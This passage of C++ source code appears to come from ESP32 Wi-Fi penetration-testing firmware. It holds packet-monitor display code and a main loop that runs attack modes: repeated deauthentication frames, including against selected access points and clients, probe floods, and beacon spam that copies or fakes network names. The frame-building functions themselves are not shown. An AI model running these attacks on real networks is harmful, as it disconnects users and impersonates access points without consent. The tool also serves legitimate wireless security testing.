  2684. if (x_pos < 0) // below x axis
  2685. {
  2686. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2687. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2688. }
  2689. else
  2690. {
  2691. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2692. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2693. }
  2694. //tftDisplayTime();
  2695. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2696. {
  2697. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2698. }
  2699. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2700. //y_pos_y_old = y_pos_y;
  2701. //y_pos_z_old = y_pos_z;
  2702. //delay(50);
  2703. }
  2704. sd_obj.main();
  2705. }
  2706. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2707. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2708. display_obj.tftDrawChannelScaleButtons(set_channel);
  2709. display_obj.tftDrawExitScaleButtons();
  2710. display_obj.tftDrawEapolColorKey();
  2711. display_obj.tftDrawGraphObjects(x_scale);
  2712. }
  2713. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2714. {
  2715. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2716. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2717. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2718. {
  2719. currentTime = millis();
  2720. do_break = false;
  2721. y_pos_x = 0;
  2722. y_pos_y = 0;
  2723. y_pos_z = 0;
  2724. boolean pressed = false;
  2725. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2726. // Do the touch stuff
  2727. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2728. if (pressed) {
  2729. Serial.print("Got touch | X: ");
  2730. Serial.print(t_x);
  2731. Serial.print(" Y: ");
  2732. Serial.println(t_y);
  2733. }
  2734. // Check buttons for presses
  2735. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2736. {
  2737. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2738. {
  2739. display_obj.key[b].press(true);
  2740. } else {
  2741. display_obj.key[b].press(false);
  2742. }
  2743. }
  2744. // Which buttons pressed
  2745. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2746. {
  2747. if (display_obj.key[b].justPressed())
  2748. {
  2749. Serial.println("Bro, key pressed");
  2750. //do_break = true;
  2751. }
  2752. if (display_obj.key[b].justReleased())
  2753. {
  2754. do_break = true;
  2755. // X - button pressed
  2756. if (b == 0) {
  2757. if (x_scale > 1) {
  2758. x_scale--;
  2759. delay(70);
  2760. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2761. display_obj.tftDrawXScaleButtons(x_scale);
  2762. display_obj.tftDrawYScaleButtons(y_scale);
  2763. display_obj.tftDrawChannelScaleButtons(set_channel);
  2764. display_obj.tftDrawExitScaleButtons();
  2765. break;
  2766. }
  2767. }
  2768. // X + button pressed
  2769. else if (b == 1) {
  2770. if (x_scale < 6) {
  2771. x_scale++;
  2772. delay(70);
  2773. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2774. display_obj.tftDrawXScaleButtons(x_scale);
  2775. display_obj.tftDrawYScaleButtons(y_scale);
  2776. display_obj.tftDrawChannelScaleButtons(set_channel);
  2777. display_obj.tftDrawExitScaleButtons();
  2778. break;
  2779. }
  2780. }
  2781. // Y - button pressed
  2782. else if (b == 2) {
  2783. if (y_scale > 1) {
  2784. y_scale--;
  2785. delay(70);
  2786. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2787. display_obj.tftDrawXScaleButtons(x_scale);
  2788. display_obj.tftDrawYScaleButtons(y_scale);
  2789. display_obj.tftDrawChannelScaleButtons(set_channel);
  2790. display_obj.tftDrawExitScaleButtons();
  2791. //updateMidway();
  2792. break;
  2793. }
  2794. }
  2795. // Y + button pressed
  2796. else if (b == 3) {
  2797. if (y_scale < 9) {
  2798. y_scale++;
  2799. delay(70);
  2800. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2801. display_obj.tftDrawXScaleButtons(x_scale);
  2802. display_obj.tftDrawYScaleButtons(y_scale);
  2803. display_obj.tftDrawChannelScaleButtons(set_channel);
  2804. display_obj.tftDrawExitScaleButtons();
  2805. //updateMidway();
  2806. break;
  2807. }
  2808. }
  2809. // Channel - button pressed
  2810. else if (b == 4) {
  2811. if (set_channel > 1) {
  2812. Serial.println("Shit channel down");
  2813. set_channel--;
  2814. delay(70);
  2815. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2816. display_obj.tftDrawXScaleButtons(x_scale);
  2817. display_obj.tftDrawYScaleButtons(y_scale);
  2818. display_obj.tftDrawChannelScaleButtons(set_channel);
  2819. display_obj.tftDrawExitScaleButtons();
  2820. changeChannel();
  2821. break;
  2822. }
  2823. }
  2824. // Channel + button pressed
  2825. else if (b == 5) {
  2826. if (set_channel < MAX_CHANNEL) {
  2827. Serial.println("Shit channel up");
  2828. set_channel++;
  2829. delay(70);
  2830. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2831. display_obj.tftDrawXScaleButtons(x_scale);
  2832. display_obj.tftDrawYScaleButtons(y_scale);
  2833. display_obj.tftDrawChannelScaleButtons(set_channel);
  2834. display_obj.tftDrawExitScaleButtons();
  2835. changeChannel();
  2836. break;
  2837. }
  2838. }
  2839. else if (b == 6) {
  2840. Serial.println("Exiting packet monitor...");
  2841. this->StartScan(WIFI_SCAN_OFF);
  2842. //display_obj.tft.init();
  2843. this->orient_display = true;
  2844. return;
  2845. }
  2846. }
  2847. }
  2848. if (currentTime - initTime >= GRAPH_REFRESH) {
  2849. //Serial.println("-----------------------------------------");
  2850. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2851. x_pos += x_scale;
  2852. initTime = millis();
  2853. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2854. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2855. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2856. //Serial.println("num_beacon: " + (String)num_beacon);
  2857. //Serial.println("num_deauth: " + (String)num_deauth);
  2858. //Serial.println(" num_probe: " + (String)num_probe);
  2859. num_beacon = 0;
  2860. num_probe = 0;
  2861. num_deauth = 0;
  2862. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2863. //Plot "X" value
  2864. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2865. //Plot "Z" value
  2866. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2867. //Plot "Y" value
  2868. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2869. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2870. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2871. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2872. {
  2873. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2874. }
  2875. else
  2876. {
  2877. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2878. }
  2879. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2880. //if (x_pos <= 90)
  2881. if (x_pos < 0) // below x axis
  2882. {
  2883. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2884. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2885. }
  2886. else
  2887. {
  2888. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2889. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2890. }
  2891. //tftDisplayTime();
  2892. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2893. {
  2894. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2895. }
  2896. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2897. y_pos_y_old = y_pos_y;
  2898. y_pos_z_old = y_pos_z;
  2899. //delay(50);
  2900. }
  2901. sd_obj.main();
  2902. }
  2903. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2904. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2905. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2906. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2907. display_obj.tftDrawYScaleButtons(y_scale);
  2908. display_obj.tftDrawChannelScaleButtons(set_channel);
  2909. display_obj.tftDrawExitScaleButtons();
  2910. display_obj.tftDrawColorKey();
  2911. display_obj.tftDrawGraphObjects(x_scale);
  2912. }
  2913. #endif
  2914. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2915. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2916. // showMetadata(snifferPacket, type);
  2917. //}
  2918. void WiFiScan::changeChannel(int chan) {
  2919. this->set_channel = chan;
  2920. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2921. delay(1);
  2922. }
  2923. void WiFiScan::changeChannel()
  2924. {
  2925. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2926. delay(1);
  2927. }
  2928. // Function to cycle to the next channel
  2929. void WiFiScan::channelHop()
  2930. {
  2931. this->set_channel = this->set_channel + 1;
  2932. if (this->set_channel > 13) {
  2933. this->set_channel = 1;
  2934. }
  2935. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2936. delay(1);
  2937. }
  2938. char* WiFiScan::stringToChar(String string) {
  2939. char buf[string.length() + 1] = {};
  2940. string.toCharArray(buf, string.length() + 1);
  2941. return buf;
  2942. }
  2943. // Function for updating scan status
  2944. void WiFiScan::main(uint32_t currentTime)
  2945. {
  2946. // WiFi operations
  2947. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2948. (currentScanMode == WIFI_SCAN_AP) ||
  2949. (currentScanMode == WIFI_SCAN_STATION) ||
  2950. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2951. (currentScanMode == WIFI_SCAN_PWN) ||
  2952. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2953. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2954. (currentScanMode == WIFI_SCAN_ALL))
  2955. {
  2956. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2957. {
  2958. initTime = millis();
  2959. channelHop();
  2960. }
  2961. }
  2962. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2963. {
  2964. #ifdef HAS_SCREEN
  2965. #ifndef MARAUDER_MINI
  2966. packetMonitorMain(currentTime);
  2967. #endif
  2968. #endif
  2969. }
  2970. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2971. {
  2972. #ifdef HAS_SCREEN
  2973. #ifndef MARAUDER_MINI
  2974. eapolMonitorMain(currentTime);
  2975. #endif
  2976. #endif
  2977. }
  2978. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2979. {
  2980. #ifdef HAS_SCREEN
  2981. eapolMonitorMain(currentTime);
  2982. #endif
  2983. }
  2984. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2985. for (int i = 0; i < 55; i++)
  2986. this->sendProbeAttack(currentTime);
  2987. if (currentTime - initTime >= 1000) {
  2988. initTime = millis();
  2989. String displayString = "";
  2990. String displayString2 = "";
  2991. displayString.concat(text18);
  2992. displayString.concat(packets_sent);
  2993. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2994. displayString2.concat(" ");
  2995. #ifdef HAS_SCREEN
  2996. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2997. display_obj.showCenterText(displayString2, 160);
  2998. display_obj.showCenterText(displayString, 160);
  2999. #endif
  3000. packets_sent = 0;
  3001. }
  3002. }
  3003. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  3004. for (int i = 0; i < 55; i++)
  3005. this->sendDeauthAttack(currentTime, this->dst_mac);
  3006. if (currentTime - initTime >= 1000) {
  3007. initTime = millis();
  3008. String displayString = "";
  3009. String displayString2 = "";
  3010. displayString.concat(text18);
  3011. displayString.concat(packets_sent);
  3012. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3013. displayString2.concat(" ");
  3014. #ifdef HAS_SCREEN
  3015. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3016. display_obj.showCenterText(displayString2, 160);
  3017. display_obj.showCenterText(displayString, 160);
  3018. #endif
  3019. packets_sent = 0;
  3020. }
  3021. }
  3022. else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
  3023. for (int i = 0; i < 55; i++)
  3024. this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
  3025. if (currentTime - initTime >= 1000) {
  3026. initTime = millis();
  3027. String displayString = "";
  3028. String displayString2 = "";
  3029. displayString.concat(text18);
  3030. displayString.concat(packets_sent);
  3031. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3032. displayString2.concat(" ");
  3033. #ifdef HAS_SCREEN
  3034. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3035. display_obj.showCenterText(displayString2, 160);
  3036. display_obj.showCenterText(displayString, 160);
  3037. #endif
  3038. packets_sent = 0;
  3039. }
  3040. }
  3041. else if (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) {
  3042. // Loop through each AP
  3043. for (int x = 0; x < access_points->size(); x++) {
  3044. // Only get selected APs
  3045. if (access_points->get(x).selected) {
  3046. AccessPoint cur_ap = access_points->get(x);
  3047. // Loop through each AP's Station
  3048. for (int i = 0; i < cur_ap.stations->size(); i++) {
  3049. // Only get selected Stations
  3050. if (stations->get(cur_ap.stations->get(i)).selected) {
  3051. Station cur_sta = stations->get(cur_ap.stations->get(i));
  3052. // Send deauths for each selected AP's selected Station
  3053. for (int y = 0; y < 25; y++)
  3054. this->sendDeauthFrame(cur_ap.bssid, cur_ap.channel, cur_sta.mac);
  3055. // Display packets sent on screen
  3056. if (currentTime - initTime >= 1000) {
  3057. initTime = millis();
  3058. String displayString = "";
  3059. String displayString2 = "";
  3060. displayString.concat(text18);
  3061. displayString.concat(packets_sent);
  3062. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3063. displayString2.concat(" ");
  3064. #ifdef HAS_SCREEN
  3065. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3066. display_obj.showCenterText(displayString2, 160);
  3067. display_obj.showCenterText(displayString, 160);
  3068. #endif
  3069. packets_sent = 0;
  3070. }
  3071. }
  3072. }
  3073. }
  3074. }
  3075. }
  3076. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  3077. // Need this for loop because getTouch causes ~10ms delay
  3078. // which makes beacon spam less effective
  3079. for (int i = 0; i < access_points->size(); i++) {
  3080. if (access_points->get(i).selected)
  3081. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, random(1, 12), {random(256),
  3082. random(256),
  3083. random(256),
  3084. random(256),
  3085. random(256),
  3086. random(256)}});
  3087. }
  3088. if (currentTime - initTime >= 1000)
  3089. {
  3090. initTime = millis();
  3091. //Serial.print("packets/sec: ");
  3092. //Serial.println(packets_sent);
  3093. String displayString = "";
  3094. String displayString2 = "";
  3095. displayString.concat(text18);
  3096. displayString.concat(packets_sent);
  3097. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3098. displayString2.concat(" ");
  3099. #ifdef HAS_SCREEN
  3100. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3101. display_obj.showCenterText(displayString2, 160);
  3102. display_obj.showCenterText(displayString, 160);
  3103. #endif
  3104. packets_sent = 0;
  3105. }
  3106. }
  3107. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  3108. {
  3109. // Need this for loop because getTouch causes ~10ms delay
  3110. // which makes beacon spam less effective
  3111. for (int i = 0; i < 55; i++)
  3112. broadcastRandomSSID(currentTime);
  3113. if (currentTime - initTime >= 1000)
  3114. {
  3115. initTime = millis();
  3116. //Serial.print("packets/sec: ");
  3117. //Serial.println(packets_sent);
  3118. String displayString = "";
  3119. String displayString2 = "";
  3120. displayString.concat(text18);
  3121. displayString.concat(packets_sent);
  3122. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3123. displayString2.concat(" ");
  3124. #ifdef HAS_SCREEN
  3125. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3126. display_obj.showCenterText(displayString2, 160);
  3127. display_obj.showCenterText(displayString, 160);
  3128. #endif
  3129. packets_sent = 0;
  3130. }
  3131. }
  3132. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  3133. for (int i = 0; i < ssids->size(); i++)
  3134. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  3135. if (currentTime - initTime >= 1000)
  3136. {
  3137. initTime = millis();
  3138. packets_sent = 0;
  3139. }
  3140. }
  3141. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  3142. for (int i = 0; i < access_points->size(); i++) {
  3143. if (access_points->get(i).selected)
  3144. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  3145. }
  3146. if (currentTime - initTime >= 1000) {
  3147. initTime = millis();
  3148. packets_sent = 0;
  3149. }
  3150. }
  3151. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  3152. {
  3153. // Need this for loop because getTouch causes ~10ms delay
  3154. // which makes beacon spam less effective
  3155. for (int i = 0; i < 7; i++)
  3156. {
  3157. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  3158. {
  3159. broadcastSetSSID(currentTime, rick_roll[x]);
  3160. }
  3161. }
  3162. if (currentTime - initTime >= 1000)
  3163. {
  3164. initTime = millis();
  3165. //Serial.print("packets/sec: ");
  3166. //Serial.println(packets_sent);
  3167. String displayString = "";
  3168. String displayString2 = "";
  3169. displayString.concat(text18);
  3170. displayString.concat(packets_sent);
  3171. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3172. displayString2.concat(" ");
  3173. #ifdef HAS_SCREEN
  3174. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3175. display_obj.showCenterText(displayString2, 160);
  3176. display_obj.showCenterText(displayString, 160);
  3177. #endif
  3178. packets_sent = 0;
  3179. }
  3180. }
  3181. }